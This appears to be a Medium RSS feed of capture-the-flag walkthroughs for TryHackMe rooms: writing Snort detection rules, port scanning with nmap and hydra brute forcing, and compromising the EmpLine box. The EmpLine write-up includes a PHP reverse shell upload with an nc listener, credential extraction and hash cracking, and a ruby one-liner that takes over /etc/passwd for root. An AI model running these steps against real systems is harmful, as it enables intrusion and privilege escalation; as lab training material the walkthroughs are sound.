<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Octothorp on Medium]]></title>
        <description><![CDATA[Stories by Octothorp on Medium]]></description>
        <link>https://medium.com/@octothorp88?source=rss-2527e04daf01------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LMQN3YS-pCMbXXWTrE6NeQ.png</url>
            <title>Stories by Octothorp on Medium</title>
            <link>https://medium.com/@octothorp88?source=rss-2527e04daf01------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:08:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@octothorp88/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe | Snort Challenge — The Basics]]></title>
            <link>https://octothorp88.medium.com/tryhackme-snort-challenge-the-basics-800c3728c65?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/800c3728c65</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 00:25:52 GMT</pubDate>
            <atom:updated>2023-02-23T00:28:30.874Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe | Snort Challenge — The Basics</h3><figure><img alt="Snort Image for TryHackMe room" src="https://cdn-images-1.medium.com/max/1024/1*HU6K8cbKaihdEUs-q5FtaA.png" /></figure><p>Put your snort skills into practice and write snort rules to analyse live capture network traffic. A <a href="https://tryhackme.com/room/snortchallenges1">TryHackMe</a> room created by <a href="https://tryhackme.com/p/ujohn">ujohn</a>.</p><p>I did a couple of CTF challenges and usually struggle when I come to using snort so I figured I would brush up on my skills and take the basic room and learn a bit.</p><h3><strong>TASK 1: Introduction</strong></h3><blockquote>Read through the information and click Submit.</blockquote><h3><strong>TASK2: Writing IDS Rules (HTTP)</strong></h3><p><strong>Q1: Write rules to detect “all TCP port 80 traffic” packets in the given pcap file.</strong></p><p>What is the number of detected packets?</p><p><strong>Note:</strong> You must answer this question correctly before answering the rest of the questions in this task.</p><blockquote>I created the following two rules inside of local.rules to identify any packets inbound our outbound.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*HD4hEgyFoihlVFLuEIvIJA.png" /><figcaption>snort rules for port 80 traffic</figcaption></figure><blockquote>alert TCP any any &lt;&gt; any 80 (msg:”Task found”; sid:10000002; rev:1;)<br>alert TCP any 80 &lt;&gt; any any (msg:”Task found”; sid:10000003; rev:1;)</blockquote><blockquote>snort -c local.rules -A Full -l . -r mx-3.pcap</blockquote><blockquote>Once the rule is created in our <em>local.rules</em> file we can execute snort against the pcap. You will be able to find the answer under Action Stats: in the output.</blockquote><p><strong>Q2: What is the destination address of packet 63?</strong></p><blockquote>If we run snort with the -n option we can specify the packet count we want to process.</blockquote><pre>snort -c local.rules -n63 -A Full -l . -r mx-3.pcap; tail alert</pre><blockquote>The above command will run execute snort and then show the last lines of the alert file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*pfoU5Wzv1ATumkeizq8CFQ.png" /></figure><p><strong>Q3: What is the ACK number of packet 64?</strong></p><pre>snort -c local.rules -n64 -A Full -l . -r mx-3.pcap; tail alert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*8L0v4tQMInLD0XrNsnzNKg.png" /></figure><p>Q4: what is the SEQ packet number of packet 62?</p><blockquote>This is an error in the room; the correct answer it the ACK number for packet 62 not the SEQ number.</blockquote><pre>snort -c local.rules -n62 -A Full -l . -r mx-3.pcap; tail alert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*8R6WpgBnl93wKWx-SKaeHA.png" /></figure><p>Q5: What is the TTL of packet 65?</p><blockquote>I couldn’t find this with snort so I had to use tcpdump to find it. Maybe I still need to brush up on my snort skillz.</blockquote><pre>tcpdump --absolute-tcp-sequence-numbers  -nvttlr mx-3.pcap |<br>grep ttl | tail -n65</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*05ibPM4aiBtf3etx3dS6JQ.png" /></figure><p>Q6: What is the source IP of packet 65?</p><pre>snort -c local.rules -n65 -A Full -l . -r mx-3.pcap; tail alert </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*24RCm5_AO1hDovcqE6kmBQ.png" /></figure><p><strong>Q7: What is the source port of packet 65?</strong></p><blockquote>Using the same command as above it will just be to the right of the src address.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*Gg-s12ed6QcJydr4z6H6MQ.png" /></figure><h3>TASK 3: Writing IDS Rules (FTP)</h3><p>Q1: Write rules to detect “<strong>all TCP port 21</strong>” traffic in the given pcap.</p><blockquote>First we need to edit the <em>local.rules</em> file in the <strong>TAKS-3 (FTP)</strong> directory.</blockquote><pre>alert TCP any 21 &lt;&gt; any any (msg:&quot;FTP traffic Detected&quot;; sid:10000002; rev:1;)<br>alert TCP any any &lt;&gt; any 21 (msg:&quot;FTP traffic Detected&quot;; sid:10000003; rev:1;)</pre><blockquote>Note: make sure your SID’s are unique for your rules or you will not get the correct results.</blockquote><p>Q2: What is the FTP service name?</p><blockquote>Knowing how FTP servers work and the <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes">return codes </a>they have we can use the following command to detect the service name.</blockquote><pre>strings  snort.log.1676937372  | grep 220 | tail</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*il1hwU3pwPWKI50O2Nu73g.png" /></figure><p>Q3: Write a rule to detect failed FTP login attempts in the given pcap.</p><blockquote>Lets use the FTP <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes">return codes </a>to help with this again.</blockquote><pre>alert TCP any any &lt;&gt; any 21 (msg:&quot;FTP Failed Login&quot;; content:&quot;530 User&quot;; sid:10000003; rev:1;)</pre><p>Q4: Write a rule to detect successful FTP logins in the given pcap.</p><blockquote>Again the FTP <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes">return codes</a> can help us with this again.</blockquote><pre>alert TCP any any &lt;&gt; any 21 (msg:&quot;FTP Success Login&quot;; content:&quot;230 User&quot;; sid:10000003; rev:1;)</pre><p>Q5: Write a rule to detect failed FTP login attempts with a valid username but a bad password or no password.</p><blockquote>I had to play around with this one to find out what to look for. Used the following to get the content to search for.</blockquote><pre>strings snort.log.1676938910  |  sort | uniq -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*vZSU3j-bu02md8MiYe8OOA.png" /></figure><pre>alert TCP any any &lt;&gt; any 21 (msg:&quot;FTP Bad Password&quot;; content:&quot;User&quot;; sid:10000003; rev:1;)</pre><p><strong>Q6: Write a rule to detect failed FTP login attempts with “Administrator” username but a bad password or no password.</strong></p><blockquote>Using the same strings command as before I can see that the number is 6. But for some reason the room didn’t like the answer of 6. But I think the rule below is the correct snort rule</blockquote><pre>alert TCP any any &lt;&gt; any 21 (msg:&quot;FTP Bad Administrator Password&quot;; content:&quot;530 User Administrator cannot log&quot;; sid:10000003; rev:1;)</pre><h3>TASK 4: Writing IDS Rules (PNG)</h3><p>Q1: Write a rule to detect the PNG file in the given pcap.</p><blockquote>For this if you go to <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">Wikipedia</a> and get the <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">List of File Signatures</a> it will make this a little easier.</blockquote><pre>alert TCP any any &lt;&gt; any any (msg:&quot;PNG File&quot;; content:&quot;|89 50 4E 47 0D 0A 1A 0A|&quot;; sid:10000003; rev:1;)</pre><blockquote>Then lets investigate the snort.log file with snort and dump the contents .</blockquote><pre>sudo snort snort.log.1676939975 -X</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*Mfi2Z-uQr7n1yOYTazt9MQ.png" /></figure><p>Q2: Write a rule to detect the GIF file in the given pcap.</p><blockquote>For this if you go to <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">Wikipedia</a> and get the <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">List of File Signatures</a> and notice that there are actually two different MIME Types for two different formats of GIF.</blockquote><blockquote>47 49 46 38 37 61 GIF87a<br>47 49 46 38 39 61 GIF89a</blockquote><pre>alert TCP any any &lt;&gt; any any (msg:&quot;GIF87a detected&quot;; content:&quot;|47 49 46 38 37 61|&quot;; sid:10000003; rev:1;)<br>alert TCP any any &lt;&gt; any any (msg:&quot;GIF89A detected&quot;; content:&quot;|47 49 46 38 39 61|&quot;; sid:10000004; rev:1;)</pre><blockquote>Now we can just look at the alert file and it will tell us which alert triggered.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VFpDKwuSUS6zRPp1V2QYA.png" /></figure><h3><strong>TASK 5 Writing IDS Rules (Torrent Metafile)</strong></h3><p><strong>Q1: Write a rule to detect the torrent metafile in the given pcap.</strong></p><pre>alert TCP any any &lt;&gt; any any (msg:&quot;Torrent Detected&quot;; content:&quot;.torrent&quot;; sid:10000003; rev:1;)</pre><p><strong>Q2: What is the name of the torrent application?</strong></p><blockquote>I struggled with this… Not sure you can actually detect the “application” so I just did the following to find me a 10 character word that contained “bit” or “Torrent” and got the correct answer.</blockquote><pre>strings torrent.pcap  | sort | uniq | tr &#39; &#39; &#39;\n&#39; | sort | uniq | egrep -o &#39;[[:alpha:]]{10}&#39; | sort | uniq | egrep &#39;torrent|bit&#39;</pre><p><strong>Q3: What is the MIME (Multipurpose Internet Mail Extensions) type of the torrent metafile?</strong></p><blockquote>We should be able to get this from the snort log file but running the following snort -r snort.log.1676941092 -X</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*neNdy-oSZv7nhQHLSsAzpA.png" /></figure><p>Q4: What is the hostname of the torrent metafile?</p><blockquote>This can be found on the same screen from the previous command.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9xO1wwLhAxg3tdAg1Llqw.png" /></figure><h3>TASK 6: Troubleshooting Rule Syntax Errors</h3><p>Q1: Fix the syntax error in <strong>local-1.rules</strong> file and make it work smoothly.</p><blockquote>The rule is missing a space after the “any any” and the “(msg”.</blockquote><pre>alert tcp any 3372 -&gt; any any (msg: &quot;Troubleshooting 1&quot;; sid:1000001; rev:1;)</pre><p>Q2: Fix the syntax error in <strong>local-2.rules</strong> file and make it work smoothly.</p><blockquote>The rule is missing an any in the <strong>src</strong> portion.</blockquote><pre>alert icmp any any -&gt; any any (msg: &quot;Troubleshooting 2&quot;; sid:1000001; rev:1;)</pre><p>Q3: Fix the syntax error in <strong>local-3.rules</strong> file and make it work smoothly.</p><blockquote>This one always gets me…. look at the sid: id they need to be unique for all rules.</blockquote><pre>alert icmp any any -&gt; any any (msg: &quot;ICMP Packet Found&quot;; sid:1000001; rev:1;)<br>alert tcp any any -&gt; any 80,443 (msg: &quot;HTTPX Packet Found&quot;; sid:1000002; rev:1;)</pre><p>Q4: Fix the syntax error in <strong>local-4.rules</strong> file and make it work smoothly.</p><blockquote>Look closely on these, there is two errors, one you have seen already… the other has to do with a colon.</blockquote><pre>alert icmp any any -&gt; any any (msg: &quot;ICMP Packet Found&quot;; sid:1000001; rev:1;)<br>alert tcp any 80,443 -&gt; any any (msg: &quot;HTTPX Packet Found&quot;; sid:1000002; rev:1;)</pre><p>Q5: Fix the syntax error in <strong>local-5.rules</strong> file and make it work smoothly.</p><blockquote>I think there are 3 errors in this one …but I forgot what I fixed ;)</blockquote><pre>alert icmp any any &lt;&gt; any any (msg: &quot;ICMP Packet Found&quot;; sid:1000001; rev:1;)<br>alert icmp any any &lt;&gt; any any (msg: &quot;Inbound ICMP Packet Found&quot;; sid:1000002; rev:1;)<br>alert tcp any any -&gt; any 80,443 (msg: &quot;HTTPX Packet Found&quot;; sid:1000003; rev:1;)</pre><p>Q6: Fix the logical error in <strong>local-6.rules</strong> file and make it work smoothly to create alerts.</p><blockquote>For this one you will need an ASCII chart…</blockquote><pre>alert tcp any any &lt;&gt; any 80  (msg: &quot;GET Request Found&quot;; content:&quot;|47 45 54|&quot;; sid:100001; rev:1;)</pre><p>Q7: Fix the logical error in <strong>local-7.rules</strong> file and make it work smoothly to create alerts.</p><blockquote>There is something missing in the rule that should be included in the rule.</blockquote><pre>alert tcp any any &lt;&gt; any 80  (msg:&quot;Missing&quot;; content:&quot;|2E 68 74 6D 6C|&quot;; sid:100001; rev:1;)</pre><h3>TASK 7: Using External Rules (MS17–010)</h3><p>Q1: Use the given rule file (<strong>local.rules</strong>) to investigate the ms1710 exploitation.</p><blockquote>Just run run snort with the local.rules</blockquote><pre>sudo snort -c local.rules  -A full -l . -r ms-17-010.pcap</pre><p>Q2: Use <strong>local-1.rules</strong> empty file to write a new rule to detect payloads containing the “<strong>\IPC$</strong>” keyword.</p><pre>alert tcp any any -&gt; any 445 (msg: &quot;Exploit Detected!&quot;; flow: to_server, established; content: &quot;IPC$&quot;; sid:2094285; rev: 3;)</pre><p>Q3: Investigate the log/alarm files.</p><blockquote>sudo snort -r snort.log.1676944707 -X</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*D0JUnlapgwHLiWoBRc_DWg.png" /></figure><p>Q4: What is the CVSS v2 score of the MS17–010 vulnerability?</p><blockquote>You can find this with a google search or from someone like <a href="https://www.tenable.com/plugins/nessus/97833">tenable</a> just use the “Base Score”.</blockquote><h3>TASK8: Using External Rules (Log4j)</h3><p>Use the given rule file (<strong>local.rules</strong>) to investigate the log4j exploitation.</p><p>Q1: What is the number of detected packets?</p><blockquote>You can get this by using the local.rules file sudo snort -c local.rules -A console -r log4j.pcap</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*F5AS8pwiTYWEMbbYzjjNDA.png" /></figure><p>Q2: How many rules were triggered?.</p><p>This can be found from the same command and output from the previous question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*Bey8EypSQzpvnsSR-np77Q.png" /></figure><p>Q3: What are the first six digits of the triggered rule sids?</p><p>To get this one we will need to have some logging enabled.</p><pre>sudo snort -c local.rules  -A Full -l .  -r log4j.pcap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppS-BND9GHF2aFMTA6snUQ.png" /></figure><p>Q4: Use <strong>local-1.rules</strong> empty file to write a new rule to detect packet payloads <strong>between 770 and 855 bytes</strong>.</p><p>What is the number of detected packets?</p><p>I looked at the hint and it mentioned <a href="https://docs.snort.org/rules/options/payload/dsize"><em>dsize</em></a><em> </em>and with that and the sort docs you can whip up the rule below.</p><pre>alert tcp any any -&gt; any any (msg:&quot;Payload between 770 and 855 bytes&quot;; dsize:770&lt;&gt;855; sid:1021003726; rev:1;)</pre><p>Q5: Investigate the log/alarm files. What<strong> </strong>is the name of the used encoding algorithm?</p><pre>snort -eX -r snort.log.1677110079 | vi -</pre><blockquote>Now you can use vi and look around until you find it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*hCoOFWXuzFbhIb8OhZFASQ.png" /></figure><p>Q6: What<strong> </strong>is the IP ID of the corresponding packet?</p><blockquote>You will find this on the same screen as the previous answer.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*ke26aLV9lu8KcIBz1I9zpg.png" /></figure><p>Q7: What is the attacker’s command?</p><blockquote>Once you know what you are doing you can extract this out of the log file and decode it in a single command like below.</blockquote><pre>strings snort.log.1677110079  | grep -i Base64 | tail -n1 | egrep -o &#39;KGN.*=&#39; | base64 -d;echo</pre><p>Q8: What is the CVSS v2 score of the Log4j vulnerability?</p><blockquote>If you re-run snort over the pcap you can look at the alerts and find a reference to the article and obtain the score from there.</blockquote><p>Outstanding room <a href="https://tryhackme.com/p/ujohn">ujohn</a>, thank you for creating such a great room; I learned a lot and plan on trying your second room <a href="https://tryhackme.com/room/snortchallenges2">Snort2 challenge 2</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=800c3728c65" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Net Sec Challenge | TryHackMe]]></title>
            <link>https://octothorp88.medium.com/net-sec-challenge-tryhackme-c046c862c5b4?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/c046c862c5b4</guid>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Thu, 14 Oct 2021 01:20:12 GMT</pubDate>
            <atom:updated>2021-10-14T01:20:12.097Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/netsecchallenge">Net Sec Challenge</a> is a <a href="https://tryhackme.com/">TryHackMe</a> room that states you can challenge and test your network security skills using nmap, telnet, and hydra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kygwrvmUuWKIEhS8.png" /></figure><h3>Task1: Introduction</h3><p>Q1: Launch the Attack Box and the target VM.</p><blockquote>I started the machine and fired up my attack box, lets roll!</blockquote><h3>Task 2: Challenge Questions</h3><p>Q1: What is the highest port number being open less than 10,000?</p><blockquote>Usually on a box like this i use rustscan as it is much faster, but since the room eluded to nmap, hydra and telnet I figured I would stick to those tools for the challenge.</blockquote><blockquote>I decided to launch a full verbose nmap scan so I could maybe answer the questions as the scan was running.</blockquote><pre>nmap -vvvv -p- -T4 --stats-every 10 $ip</pre><p>-vvvv : Give me lots of verbosity<br>-T4 : aggressive scan assumes a fast and reliable network<br> — stats-every 10 : this gives me a status update every 10 seconds<br>$ip : I usually do a set variable ip=10.10.10.10 to save typing so I can just reference the machine by $ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yOUYVzcQWGDaJvwfxsufA.png" /></figure><blockquote>Even though the scan was still running we should have enough information to make an educated guess on this.</blockquote><p>Q2: There is an open port outside the common 1000 ports; it is above 10,000. What is it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XywVCD_ulKwPzobWL7t8jQ.png" /></figure><blockquote>About 6 minutes into the scan this port above 10,000 popped up and solved question number 2.</blockquote><p>Q3: How many TCP ports are open?</p><blockquote>I don’t have any patience so I added up the ports that I currently had and submitted those numbers and I was correct ;)</blockquote><blockquote>A3: 6</blockquote><blockquote>The scan took about 20 minutes to complete with nmap</blockquote><p>Q4: What is the flag hidden in the HTTP server header?</p><pre>nc 10.10.10.10 80 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mvwER4lkDGwgR16f9vi04A.png" /></figure><p>Q5: What is the flag hidden in the SSH server header?</p><p>if we enable verbose logging when we ssh we should be able to see all of the ssh debug information.</p><pre>ssh -v 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GoYUAXUaPForzom6D7NmQ.png" /></figure><p>Q6: We have an FTP server listening on a nonstandard port. What is the version of the FTP server?</p><blockquote>Spoiler alert, this is a port we found earlier in the challenge, the one that was higher than 10,000.</blockquote><blockquote>If you connect to the port with ftp or nc you will get the answer to the challenge question.</blockquote><pre>ftp 10.10.10.10. 10021</pre><pre>nc 10.10.10.10 10021</pre><blockquote>either of the above will give the answer the question is looking for.</blockquote><p>Q7: We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?</p><blockquote>After adding the users to a list I can use with hydra via the following.</blockquote><blockquote>echo eddie &gt;&gt; users.txt<br>echo quinn &gt;&gt;users.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5sRMsHKMts3BiXMB-mHfw.png" /></figure><p>Success we have the passwords for both users; eddie and quinn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klmL7G0m2kVGRAaffoJ-XQ.png" /></figure><p>Q8: Browsing to http://x.x.x.x:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?</p><p>Browsing to the website you will see that you are already detected with 100% shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WdpakL6HYa-TNqIdOs1zCw.png" /></figure><p>Press the “reset packet count” and try something new.</p><p>By performing a nmap null scan we are able to bypass being detected and receive the flag.</p><pre>nmap -sN 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzPt74Taj4vTolfM0PJ0_w.png" /></figure><p>Thank you to <a href="https://tryhackme.com/p/strategos">strategos</a> for such a fun room to use our put our nmap and hydra skills to use.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c046c862c5b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EmpLine | TryHackMe]]></title>
            <link>https://octothorp88.medium.com/empline-tryhackme-5102bba38c48?source=rss-2527e04daf01------2</link>
            <guid isPermaLink="false">https://medium.com/p/5102bba38c48</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Octothorp]]></dc:creator>
            <pubDate>Sat, 18 Sep 2021 18:34:22 GMT</pubDate>
            <atom:updated>2021-09-18T18:39:36.705Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*BE3ydZk72f9SRIwaB_wCHQ.png" /></figure><p><a href="https://tryhackme.com/room/empline">EmpLine</a> is a free <a href="https://tryhackme.com/">TryHackMe</a> room created by <a href="https://tryhackme.com/p/zyeinn">zyeinn</a>, this room is a free room which means anyone can connect and start hacking on it.</p><p>There really wasn’t a big write up on the room, basically deploy the machine and submit the <em>user.txt</em> and the <em>root.txt.</em></p><p>Lets start with a basic nmap scan and seee what we can find.</p><pre>nmap -sS -T4 -sV -sC $ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3BfKIfbQHJ1ziEHZaYzxA.png" /><figcaption>nmap scan</figcaption></figure><p>From the nmapscan above we can see that we are listening on 22/SSH, 80/HTTP and 3306/MySQL (running MariaDB).</p><p>So first lets take a look at the web page on port TCP port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbp9GAhk5DfBcIZWcjWkRQ.png" /><figcaption>empline default webpage</figcaption></figure><p>After a bit of browsing on the site we can see that the EMPLOYMENT link points to a virtual host of job.empline.thm/careers so we will need to add this to our /etc/hosts file if we want to browse to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KIBwQQjjZhrb4WCmbXAGaw.png" /></figure><pre>10.10.10.10   job.empline.thm empline.thm</pre><p>Going to the careers page we find a link for current open positions that we can follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5iQCqSagtY4nmHLP443TKw.png" /></figure><p>Which then leads us to a job opening we can apply for by clicking on the Mobile Dev Link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVDKQXMwtLSI89VkODGfOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Qo3OLP4S2_buSp0rolhEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KOfbhJB_R4QbOfTeqhfqOw.png" /></figure><p>This page allows us to apply for the job by submitting our resume. Lets see if we can submit a php reverse shell. We can use the <a href="https://github.com/pentestmonkey/php-reverse-shell">php-reverse-shell.php</a> from pentestmonkey. This file is also available on the TryHackMe attack box as shown below.</p><pre>cp /usr/share/webshells/php/php-reverse-shell.php ./<br>vi php-reverse-shell.php</pre><p>Now we just need to update the $ip and $port variable in the script to point back to our attack box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHWhRMAUwXwAzIWgxzbzHw.png" /></figure><p>Now we upload the modified php-reverse-shell.php to the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gicOLcakHHShCQZ4WcAMZA.png" /></figure><p>Start a listener on our attack box via nc -lnvp 666 as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JJVTCobZI0V6TV0KMI3Yg.png" /></figure><p>Now we need to execute the php-reverse-shell.php file we uploaded. Looking at the <a href="https://github.com/opencats/OpenCATS">OpenCats open source project on github </a>we can see where these files are uploaded to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QYH8ZEGYgWxHpR5wAHV9A.png" /></figure><p>Now we just need to browse to that directory on the server and see if we can execute our php-reverse-shell.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NXYvp8OcTupQrbijpdvItg.png" /></figure><p>Perfect, we have access to the directory and can see our php-reverse-shell.php file.</p><p>With our nc listener running we can click on the link and catch our reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cUHGkMqvoNPSOZm2oQL1w.png" /></figure><p>We can see that we are running as www-data and have simple shell that we we will upgrade via python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgxDLA4jU5eUVIhdAGh8TA.png" /><figcaption>reverse shell</figcaption></figure><p>First we start a full interactive shell with python via python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;. In order to make this shell usable we will need to background it with ctrl-z and they type stty raw -echo &amp;&amp; fg and then press enter. For a better explanation you can read about the process on <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">ropnops blog.</a></p><p>After inspecting the config.php at /var/www/opencats we can find some database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFgEVN_CKG29UPjhwFQJdw.png" /><figcaption>config.php credentials</figcaption></figure><p>Using these credentials we should be able to connect to the database instance on port 3306 we found in our nmap scan at the beginning.</p><pre>mysql -uusername -p -h10.10.10.10<br>-u is username (if the name was bob you would use -ubob)<br>-p denotes that you will be prompted for the password<br>-h specifies that you will connect to a remote DB at this IP address</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jyey4v_5HEJ2usB4LKg7NQ.png" /><figcaption>mysql connection</figcaption></figure><p>After some poking around we can find the password hashes for 3 accounts in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9LfmaU16vRMXuvqho8K7sA.png" /><figcaption>password hashes</figcaption></figure><p>After copying the hashes to a file we can use john the ripper to attempt to crack them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P123rXrnbPTIFlPPm7vBFA.png" /><figcaption>john the ripper</figcaption></figure><p>Now that we have a username and password set we may be able to connect to the box via ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6op1AkHrHwBaGAIeHqWUaw.png" /><figcaption>user.txt</figcaption></figure><p>Success! We have the user.txt flag.</p><p>After a bit of poking around I could find an easy way to escalate to root, so I decided to upload linpeas.sh and see what it could find on the box.</p><pre>scp $(locate linpeas.sh) usernameyoufound@10.10.103.182:./</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTP3m-spgqe8jxf0k0m9mg.png" /></figure><p>Once linpeas.sh is on the box we have to change it to be executable and run it. This can be accomplished by chmod +x linpeas.sh &amp;&amp; ./linpeas.sh</p><p>Once completed we can see that additional capabilities have been given to the /usr/local/bin/ruby executable allowing it to change ownership of files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEvk9u5KbE0gt-9HVz6ZNw.png" /></figure><p>In the screenshot below I can see that /etc/passwd is currently owned by root. But if I call ruby and perform a chown method on the /etc/passwd file I should be able to make my user account the owner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZffbdl2d2rZcyMF6HZsRw.png" /></figure><pre>ruby -e &#39;File.chown(1002,1002,&quot;/etc/passwd&quot;)&#39;</pre><p>Now that we are the owners of /etc/passwd we can edit the file and add in a new account with root privileges.</p><p>First we need a unsalted password we can create with mkpasswd on our attack box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HREoHKzMBsyJRMy1ql0VlA.png" /></figure><p>If we add in a new user at the bottom of the /etc/passwd file and use the password we created above all we need to do is give the UID:GID a value of 0 and that account will be a root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15ju4eszaJLTdgG0lXuvJw.png" /></figure><p>Once we save /etc/passwd with the new account that has a UID and GID of zero we can just switch user with the su — command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V75LyijOa0hmhJTTBjnD8w.png" /></figure><p>And we have the root.txt proof.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/0*y6HvlqUd1Wu_C9Mz.png" /></figure><p>Thank you to <a href="https://tryhackme.com/p/zyeinn">zyeinn</a> for such a fun room to play around in!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5102bba38c48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | ZTH: Obscure Web Vulns]]></title>
            <link>https://octothorp88.medium.com/tryhackme-zth-obscure-web-vulns-52c3ffcd4ce9?source=rss-2527e04daf01------2</link>
